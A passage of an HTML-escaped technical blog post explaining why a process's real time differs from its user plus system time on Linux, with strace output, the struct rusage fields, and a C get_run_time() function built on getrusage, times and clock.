child_tidptr=0xb774b728) = 5030&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="4"&gt;&lt;font class="Apple-style-span" color="#FF0000"&gt;rt_sigaction(SIGINT, {0x1, [INT], SA_RESTART}, {SIG_DFL, [], 0}, 8) = 0&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="4"&gt;&lt;font class="Apple-style-span" color="#FF0000"&gt;rt_sigaction(SIGQUIT, {0x1, [QUIT], SA_RESTART}, {SIG_DFL, [], 0}, 8) = 0&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="4"&gt;&lt;font class="Apple-style-span" color="#FF0000"&gt;wait4(-1, [{WIFEXITED(s) &amp;amp;&amp;amp; WEXITSTATUS(s) == 0}], 0, {ru_utime={0, 4000}, ru_stime={0, 0}, ...}) = 5030&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="4"&gt;&lt;font class="Apple-style-span" color="#FF0000"&gt;--- SIGCHLD (Child exited) @ 0 (0) ---&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="4"&gt;&lt;font class="Apple-style-span" color="#FF0000"&gt;gettimeofday({1263467995, 292113}, NULL) = 0&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;/div&gt;.........&lt;div&gt;&lt;font size="4"&gt;real time just use the gettimeofday() function;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="4"&gt;and the sys,user use the wait4() syscall ,and get the data from getrusage structure .&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="'Courier New'"&gt;&lt;font size="4"&gt;&amp;nbsp;&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;ol&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&lt;span class="kw4" style="color: rgb(0, 0, 255)"&gt;struct&lt;/span&gt;&amp;nbsp;rusage&amp;nbsp;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;{&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="kw4" style="color: rgb(0, 0, 255)"&gt;struct&lt;/span&gt;&amp;nbsp;timeval ru_utime;&amp;nbsp;&lt;span class="coMULTI" style="color: rgb(255, 0, 0)"&gt;&lt;i&gt;/* user time used */&lt;/i&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="kw4" style="color: rgb(0, 0, 255)"&gt;struct&lt;/span&gt;&amp;nbsp;timeval ru_stime;&amp;nbsp;&lt;span class="coMULTI" style="color: rgb(255, 0, 0)"&gt;&lt;i&gt;/* system time used */&lt;/i&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="kw4" style="color: rgb(0, 0, 255)"&gt;long&lt;/span&gt;&amp;nbsp;&amp;nbsp; ru_maxrss; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class="coMULTI" style="color: rgb(255, 0, 0)"&gt;&lt;i&gt;/* maximum resident set size */&lt;/i&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="kw4" style="color: rgb(0, 0, 255)"&gt;long&lt;/span&gt;&amp;nbsp;&amp;nbsp; ru_ixrss; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="coMULTI" style="color: rgb(255, 0, 0)"&gt;&lt;i&gt;/* integral shared memory size */&lt;/i&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="kw4" style="color: rgb(0, 0, 255)"&gt;long&lt;/span&gt;&amp;nbsp;&amp;nbsp; ru_idrss; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="coMULTI" style="color: rgb(255, 0, 0)"&gt;&lt;i&gt;/* integral unshared data size */&lt;/i&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="kw4" style="color: rgb(0, 0, 255)"&gt;long&lt;/span&gt;&amp;nbsp;&amp;nbsp; ru_isrss; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="coMULTI" style="color: rgb(255, 0, 0)"&gt;&lt;i&gt;/* integral unshared stack size */&lt;/i&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="kw4" style="color: rgb(0, 0, 255)"&gt;long&lt;/span&gt;&amp;nbsp;&amp;nbsp; ru_minflt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class="coMULTI" style="color: rgb(255, 0, 0)"&gt;&lt;i&gt;/* page reclaims */&lt;/i&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="kw4" style="color: rgb(0, 0, 255)"&gt;long&lt;/span&gt;&amp;nbsp;&amp;nbsp; ru_majflt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class="coMULTI" style="color: rgb(255, 0, 0)"&gt;&lt;i&gt;/* page faults */&lt;/i&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="kw4" style="color: rgb(0, 0, 255)"&gt;long&lt;/span&gt;&amp;nbsp;&amp;nbsp; ru_nswap; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="coMULTI" style="color: rgb(255, 0, 0)"&gt;&lt;i&gt;/* swaps */&lt;/i&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="kw4" style="color: rgb(0, 0, 255)"&gt;long&lt;/span&gt;&amp;nbsp;&amp;nbsp; ru_inblock; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="coMULTI" style="color: rgb(255, 0, 0)"&gt;&lt;i&gt;/* block input operations */&lt;/i&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="kw4" style="color: rgb(0, 0, 255)"&gt;long&lt;/span&gt;&amp;nbsp;&amp;nbsp; ru_oublock; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="coMULTI" style="color: rgb(255, 0, 0)"&gt;&lt;i&gt;/* block output operations */&lt;/i&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="kw4" style="color: rgb(0, 0, 255)"&gt;long&lt;/span&gt;&amp;nbsp;&amp;nbsp; ru_msgsnd; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class="coMULTI" style="color: rgb(255, 0, 0)"&gt;&lt;i&gt;/* messages sent */&lt;/i&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="kw4" style="color: rgb(0, 0, 255)"&gt;long&lt;/span&gt;&amp;nbsp;&amp;nbsp; ru_msgrcv; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class="coMULTI" style="color: rgb(255, 0, 0)"&gt;&lt;i&gt;/* messages received */&lt;/i&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="kw4" style="color: rgb(0, 0, 255)"&gt;long&lt;/span&gt;&amp;nbsp;&amp;nbsp; ru_nsignals; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class="coMULTI" style="color: rgb(255, 0, 0)"&gt;&lt;i&gt;/* signals received */&lt;/i&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="kw4" style="color: rgb(0, 0, 255)"&gt;long&lt;/span&gt;&amp;nbsp;&amp;nbsp; ru_nvcsw; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="coMULTI" style="color: rgb(255, 0, 0)"&gt;&lt;i&gt;/* voluntary context switches */&lt;/i&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="kw4" style="color: rgb(0, 0, 255)"&gt;long&lt;/span&gt;&amp;nbsp;&amp;nbsp; ru_nivcsw; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class="coMULTI" style="color: rgb(255, 0, 0)"&gt;&lt;i&gt;/* involuntary context switches */&lt;/i&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;}&lt;/span&gt;;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;font size="4"&gt;So , taking&amp;nbsp;&lt;/font&gt;&lt;div id="uxzt" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-right: auto; margin-left: auto; text-decoration: inherit; background-image: initial; background-color: rgb(255, 255, 255); text-align: left"&gt;&lt;div id="wt81" class="clear" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-right: 0px; margin-left: 0px; text-decoration: inherit"&gt;&lt;div id="l1n0" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-left: 0px; text-decoration: inherit"&gt;&lt;div id="yvp8" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-right: 351px; margin-left: 0px; text-decoration: inherit"&gt;&lt;font size="4"&gt;resources like memory, I/O , IPC calls and OS's timeslice mechanism &amp;nbsp;into account.&lt;/font&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="4"&gt;&lt;div id="kybn" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-right: auto; margin-left: auto; text-decoration: inherit; background-image: initial; background-color: rgb(255, 255, 255); text-align: left"&gt;&lt;div id="cr6m" class="clear" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-right: 0px; margin-left: 0px; text-decoration: inherit"&gt;&lt;div id="qnc_" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-left: 0px; text-decoration: inherit"&gt;&lt;div id="qqnu" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-right: 351px; margin-left: 0px; text-decoration: inherit"&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div id="hhen" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-right: auto; margin-left: auto; text-decoration: inherit; background-image: initial; background-color: rgb(255, 255, 255); text-align: left"&gt;&lt;div id="cphd" class="clear" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-right: 0px; margin-left: 0px; text-decoration: inherit"&gt;&lt;div id="or7e" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-left: 0px; text-decoration: inherit"&gt;&lt;div id="jkgw" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-right: 351px; margin-left: 0px; text-decoration: inherit"&gt;&lt;font size="4"&gt;&lt;div id="c_58" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-right: auto; margin-left: auto; text-decoration: inherit; background-image: initial; background-color: rgb(255, 255, 255); text-align: left"&gt;&lt;div id="ct.7" class="clear" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-right: 0px; margin-left: 0px; text-decoration: inherit"&gt;&lt;div id="swo." style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-left: 0px; text-decoration: inherit"&gt;&lt;div id="rnvf" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-right: 351px; margin-left: 0px; text-decoration: inherit"&gt;&lt;font size="4"&gt;&lt;div id="r:kt" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-right: auto; margin-left: auto; text-decoration: inherit; background-image: initial; background-color: rgb(255, 255, 255); text-align: left"&gt;&lt;div id="dg78" class="clear" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-right: 0px; margin-left: 0px; text-decoration: inherit"&gt;&lt;div id="fl7k" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-left: 0px; text-decoration: inherit"&gt;&lt;span style="font-family: sans-serif"&gt;why real !=sys+user time ,just clear!&lt;/span&gt;&lt;/div&gt;&lt;div id="o5jj" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-left: 0px; text-decoration: inherit"&gt;&lt;span style="font-family: sans-serif"&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div id="lbku" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-left: 0px; text-decoration: inherit"&gt;&lt;span style="font-family: sans-serif"&gt;Actually ,we discuss which application or program is more fast ,that means the &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div id="m1i0" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-left: 0px; text-decoration: inherit"&gt;&lt;span style="font-family: sans-serif"&gt;sys+user &amp;nbsp;time.&lt;/span&gt;&lt;/div&gt;&lt;div id="ht7e" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-left: 0px; text-decoration: inherit"&gt;&lt;span style="font-family: sans-serif"&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;div id="x4s1" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-left: 0px; text-decoration: inherit"&gt;&lt;span style="font-family: sans-serif"&gt;So ,how &lt;font class="Apple-style-span" face="verdana, arial, helvetica, sans-serif"&gt;measure &amp;nbsp;the system or user time .&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div id="lfa0" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-left: 0px; text-decoration: inherit"&gt;&lt;span style="font-family: sans-serif"&gt;&lt;font class="Apple-style-span" face="verdana, arial, helvetica, sans-serif"&gt;copy the code&amp;nbsp;&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div id="j_rb" style="font-family: inherit; font-style: inherit; font-weight: inherit; margin-left: 0px; text-decoration: inherit"&gt;&lt;span style="font-family: sans-serif"&gt;&lt;font class="Apple-style-span" face="verdana, arial, helvetica, sans-serif"&gt;&lt;br&gt;&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;font class="Apple-style-span" face="arial, sans-serif"&gt;&lt;div&gt;&lt;ol&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&lt;span class="kw4" style="color: rgb(0, 0, 255)"&gt;long&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;get_run_time&amp;nbsp;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;(&lt;/span&gt;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;)&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;{&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&lt;span class="co2" style="color: rgb(51, 153, 0)"&gt;#if defined (HAVE_GETRUSAGE) &amp;amp;&amp;amp; defined (HAVE_SYS_RESOURCE_H)&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp;&amp;nbsp;&lt;span class="kw4" style="color: rgb(0, 0, 255)"&gt;struct&lt;/span&gt;&amp;nbsp;rusage rusage;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; getrusage&amp;nbsp;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;(&lt;/span&gt;&lt;span class="nu0" style="color: rgb(0, 0, 221)"&gt;0&lt;/span&gt;, &amp;amp;rusage&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;)&lt;/span&gt;;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp;&amp;nbsp;&lt;span class="kw1" style="color: rgb(0, 0, 255)"&gt;return&lt;/span&gt;&amp;nbsp;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;(&lt;/span&gt;rusage.&lt;span class="me1" style="color: rgb(0, 238, 255)"&gt;ru_utime&lt;/span&gt;.&lt;span class="me1" style="color: rgb(0, 238, 255)"&gt;tv_sec&lt;/span&gt;&amp;nbsp;*&amp;nbsp;&lt;span class="nu0" style="color: rgb(0, 0, 221)"&gt;1000000&lt;/span&gt;&amp;nbsp;+ rusage.&lt;span class="me1" style="color: rgb(0, 238, 255)"&gt;ru_utime&lt;/span&gt;.&lt;span class="me1" style="color: rgb(0, 238, 255)"&gt;tv_usec&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp;+ rusage.&lt;span class="me1" style="color: rgb(0, 238, 255)"&gt;ru_stime&lt;/span&gt;.&lt;span class="me1" style="color: rgb(0, 238, 255)"&gt;tv_sec&lt;/span&gt;&amp;nbsp;*&amp;nbsp;&lt;span class="nu0" style="color: rgb(0, 0, 221)"&gt;1000000&lt;/span&gt;&amp;nbsp;+ rusage.&lt;span class="me1" style="color: rgb(0, 238, 255)"&gt;ru_stime&lt;/span&gt;.&lt;span class="me1" style="color: rgb(0, 238, 255)"&gt;tv_usec&lt;/span&gt;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;)&lt;/span&gt;;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&lt;span class="co2" style="color: rgb(51, 153, 0)"&gt;#else /* ! HAVE_GETRUSAGE */&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&lt;span class="co2" style="color: rgb(51, 153, 0)"&gt;#ifdef HAVE_TIMES&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp;&amp;nbsp;&lt;span class="kw4" style="color: rgb(0, 0, 255)"&gt;struct&lt;/span&gt;&amp;nbsp;tms tms;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; times&amp;nbsp;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;(&lt;/span&gt;&amp;amp;tms&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;)&lt;/span&gt;;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp;&amp;nbsp;&lt;span class="kw1" style="color: rgb(0, 0, 255)"&gt;return&lt;/span&gt;&amp;nbsp;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;(&lt;/span&gt;tms.&lt;span class="me1" style="color: rgb(0, 238, 255)"&gt;tms_utime&lt;/span&gt;&amp;nbsp;+ tms.&lt;span class="me1" style="color: rgb(0, 238, 255)"&gt;tms_stime&lt;/span&gt;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;)&lt;/span&gt;&amp;nbsp;*&amp;nbsp;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;(&lt;/span&gt;&lt;span class="nu0" style="color: rgb(0, 0, 221)"&gt;1000000&lt;/span&gt;&amp;nbsp;/ GNU_HZ&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;)&lt;/span&gt;;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&lt;span class="co2" style="color: rgb(51, 153, 0)"&gt;#else /* ! HAVE_TIMES */&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp;&amp;nbsp;&lt;span class="coMULTI" style="color: rgb(255, 0, 0)"&gt;&lt;i&gt;/* Fall back on clock and hope it's correctly implemented. */&lt;/i&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp;&amp;nbsp;&lt;span class="kw4" style="color: rgb(0, 0, 255)"&gt;const&lt;/span&gt;&amp;nbsp;&lt;span class="kw4" style="color: rgb(0, 0, 255)"&gt;long&lt;/span&gt;&amp;nbsp;&lt;span class="kw2" style="color: rgb(0, 0, 255)"&gt;clocks_per_sec&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span class="kw2" style="color: rgb(0, 0, 255)"&gt;CLOCKS_PER_SEC&lt;/span&gt;;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp;&amp;nbsp;&lt;span class="kw1" style="color: rgb(0, 0, 255)"&gt;if&lt;/span&gt;&amp;nbsp;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;(&lt;/span&gt;&lt;span class="kw2" style="color: rgb(0, 0, 255)"&gt;clocks_per_sec&lt;/span&gt;&amp;nbsp;&amp;lt;=&amp;nbsp;&lt;span class="nu0" style="color: rgb(0, 0, 221)"&gt;1000000&lt;/span&gt;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;)&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="kw1" style="color: rgb(0, 0, 255)"&gt;return&lt;/span&gt;&amp;nbsp;&lt;span class="kw3" style="color: rgb(0, 0, 221)"&gt;clock&lt;/span&gt;&amp;nbsp;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;(&lt;/span&gt;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;)&lt;/span&gt;&amp;nbsp;*&amp;nbsp;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;(&lt;/span&gt;&lt;span class="nu0" style="color: rgb(0, 0, 221)"&gt;1000000&lt;/span&gt;&amp;nbsp;/&amp;nbsp;&lt;span class="kw2" style="color: rgb(0, 0, 255)"&gt;clocks_per_sec&lt;/span&gt;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;)&lt;/span&gt;;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp;&amp;nbsp;&lt;span class="kw1" style="color: rgb(0, 0, 255)"&gt;else&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="kw1" style="color: rgb(0, 0, 255)"&gt;return&lt;/span&gt;&amp;nbsp;&lt;span class="kw3" style="color: rgb(0, 0, 221)"&gt;clock&lt;/span&gt;&amp;nbsp;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;(&lt;/span&gt;&lt;span class="br0" style="color: rgb(0, 0, 0)"&gt;)&lt;/span&gt;&amp;nbsp;/&amp;nbsp;&lt;span class="kw2" style="color: rgb(0, 0, 255)"&gt;clocks_per_sec&lt;/span&gt;;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 255)"&gt;&lt;div class="de1" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&amp;nbsp;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2" style="background-image: initial; background-color: rgb(248, 248, 248)"&gt;&lt;div class="de2" style=" font-weight: normal"&gt;&lt;font size="2"&gt;&lt;span class="co2" style="color: rgb(51, 153, 0)"&gt;#endif &amp;nbsp;/* HAVE_TIMES */&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1" style="background-image: initial; background-color: rgb(255, 255, 